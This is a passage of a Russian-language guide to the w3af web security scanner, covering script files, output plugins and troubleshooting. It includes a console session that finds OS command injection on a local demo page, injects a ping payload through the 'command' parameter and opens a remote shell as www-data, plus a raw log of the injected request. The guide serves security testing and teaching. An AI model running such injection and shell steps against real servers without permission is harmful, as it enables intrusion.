Когда ничего не получается...
Итак. Вы активировали рекомендуемые плагины, запустили сканирование час назад, но до сих пор ничего не найдено. Когда Вы окажитесь в такой ситуации у Вас будет 2 выхода - ждать пока w3af закончит сканирование или нажать CTRL+C сбросив текущие задачи исследования и запустить фазу аудита.
Так же Вы должны помнить что если Вы сохраняете отладочную информацию в текстовом файле то можете открыть новое окно терминала и набрать
"tail -f w3af-output-file.txt". После запуска этой команды Вы увидите что на самом деле происходит с w3af и возможно выявите причину его неработоспособности.
Скрипты в w3af
При разработке w3af я понял что программе нужен способ выполнять какие-либо часто повторяющиеся действия. Поэтому я включил в функционал фреймворка поддержку скриптов. w3af может запустить скрипт с использованием параметра "-s". Файл скрипта должен представлять из себя текстовый файл с набором команд.
Пример содержимого такого файла:
$ head scripts/scriptosCommanding.w3af
# This is the osCommanding demo:
plugins
output console,textFile
output
output config textFile
set fileName outputw3af.
txt
set verbose True
back
Для запуска этого скрипта Вы должны выполнить команду "./w3af_console s
scripts/scriptosCommanding.w3af". Результат будет тот же самый как если бы Вы вводили все эти команды вручную:
$ ./w3af_console s scripts/scriptosCommanding.w3af
w3af>>>plugins
w3af/plugins>>>output console,textFile
w3af/plugins>>>output
...
w3af/plugins>>>output config textFile
w3af/plugins/output/config:textFile>>>set fileName outputw3af.txt
w3af/plugins/output/config:textFile>>>set verbose True
w3af/plugins/output/config:textFile>>>back
w3af/plugins>>>output config console
w3af/plugins/output/config:console>>>set verbose False
w3af/plugins/output/config:console>>>back
w3af/plugins>>>back
w3af>>>plugins
w3af/plugins>>>audit osCommanding
w3af/plugins>>>back
w3af>>>target
w3af/config:target>>>set target
http://localhost/w3af/osCommanding/vulnerable.php?command=f0as9
w3af/config:target>>>back
w3af>>>start
Found 1 URLs and 1 different points of injection.
The list of URLs is:
http://localhost/w3af/osCommanding/vulnerable.php
The list of fuzzable requests is:
http://localhost/w3af/osCommanding/vulnerable.php | Method:
GET | Parameters: (command)
Starting osCommanding plugin execution.
OS Commanding was found at: "http://localhost/w3af/osCommanding/
vulnerable.php", using HTTP method GET. The sent data was:
"command=+ping+c+
9+localhost". The vulnerability was found in
the request with id 5.
Finished scanning process.
w3af>>>exploit
w3af/exploit>>>exploit osCommandingShell
osCommandingShell exploit plugin is starting.
The vulnerability was found using method GET, tried to change
the method to POST for exploiting but failed.
Vulnerability successfully exploited. This is a list of
available shells:
[0] <osCommandingShell object (ruser: "wwwdata"| rsystem:"Linux brick 2.6.2419generic i686 GNU/Linux")>
Please use the interact command to interact with the shell objects.
w3af/exploit>>>interact 0
Execute "endInteraction" to get out of the remote shell. Commands typed in this menu will be runned on the remote web server.
w3af/exploit/osCommandingShell0>>>
ls
vulnerable.php
vulnerable2.php
w3afAgentClient.log
w3af/exploit/osCommandingShell0>>>
endInteraction
w3af/exploit>>>back
w3af>>>exit
spawned a remote shell today?
$
Вывод информации
Вся выводимая приложением информация управляется output-плагинами. Каждый такой плагин может записывать информацию в различных форматах (txt, html и т.д). Для примера - плагин "textFile" по умолчанию пишет всю исходящую информацию в файл output-w3af.txt. Конфигурация таких плагинов происходит так же как и остальных, рассматриваемых нами выше.
$ ./w3af_console
w3af>>> plugins
w3af/plugins>>> output console,textFile
w3af/plugins>>> output config textFile
w3af/plugins/output/config:textFile>>> set fileName outputw3af.
txt
w3af/plugins/output/config:textFile>>> set verbose True
w3af/plugins/output/config:textFile>>> back
w3af/plugins>>> output config console
w3af/plugins/output/config:console>>> set verbose False
w3af/plugins/output/config:console>>> back
Такие настройки укажут плагину "textFile" что нужно выводить все сообщения включая отладочную информацию в файл "outputw3af.txt". А вот пример того что в этот файл будет помещаться:
[ Sun Sep 14 17:36:09 2008 debug w3afCore] Exiting setOutputPlugins()
[ Sun Sep 14 17:36:09 2008 debug w3afCore] Called w3afCore.start()
[ Sun Sep 14 17:36:09 2008 debug xUrllib] Called buildOpeners
[ Sun Sep 14 17:36:09 2008 debug keepalive] keepalive: Theconnection manager has 0 active connections.
[ Sun Sep 14 17:36:09 2008 debug keepalive] keepalive: added one connection, len(self._hostmap["localhost"]): 1
[ Sun Sep 14 17:36:09 2008 debug httplib] DNS response from DNS server for domain: localhost
[ Sun Sep 14 17:36:09 2008 debug xUrllib] GET http://localhost/w3af/osCommanding/vulnerable.php?command=f0as9 returned HTTP code "200"
Output-плагины так же могут записывать и содержимое HTTP-запросов и ответов. Каждый плагин работает с этой информацией по разному. Например, плагин textFile пишет все запросы и ответы в файл, тогда как htmlFile-плагин равнодушен к этой информации и просто ничего с ней не делает. Рассмотрим пример лог-файла плагина textFile:
==========Request 4 Sun Sep 14 17:36:12 2008==============
GET http://localhost/w3af/osCommanding/vulnerable.php?
command=+ping+c+
4+localhost HTTP/1.1
Host: localhost
Acceptencoding:
identity
Accept: */*
Useragent:
w3af.sourceforge.net
==========Response 4 Sun Sep 14 17:36:12 2008==============
HTTP/1.1 200 OK
date: Sun, 14 Sep 2008 20:36:09 GMT
transferencoding:
chunked
xpoweredby:
PHP/5.2.42ubuntu5.3
contenttype:
text/html
server: Apache/2.2.8 (Ubuntu) mod_python/3.3.1 Python/2.5.2 PHP/
5.2.42ubuntu5.3
with SuhosinPatch
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64
time=0.024 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64
time=0.035 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64
time=0.037 ms
64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64
time=0.037 ms
localhost
ping statistics 4
packets transmitted, 4 received, 0% packet loss, time 2999ms
rtt min/avg/max/mdev = 0.024/0.033/0.037/0.006 ms
================================================== ===========
Все сообщения выводимые плагинами или фреймворком попадают ко ВСЕМ активированным output-плагинам. Так что если Вы активируйте одновременно плагины textFile и htmlFile то они оба будут записывать одну и ту же информацию.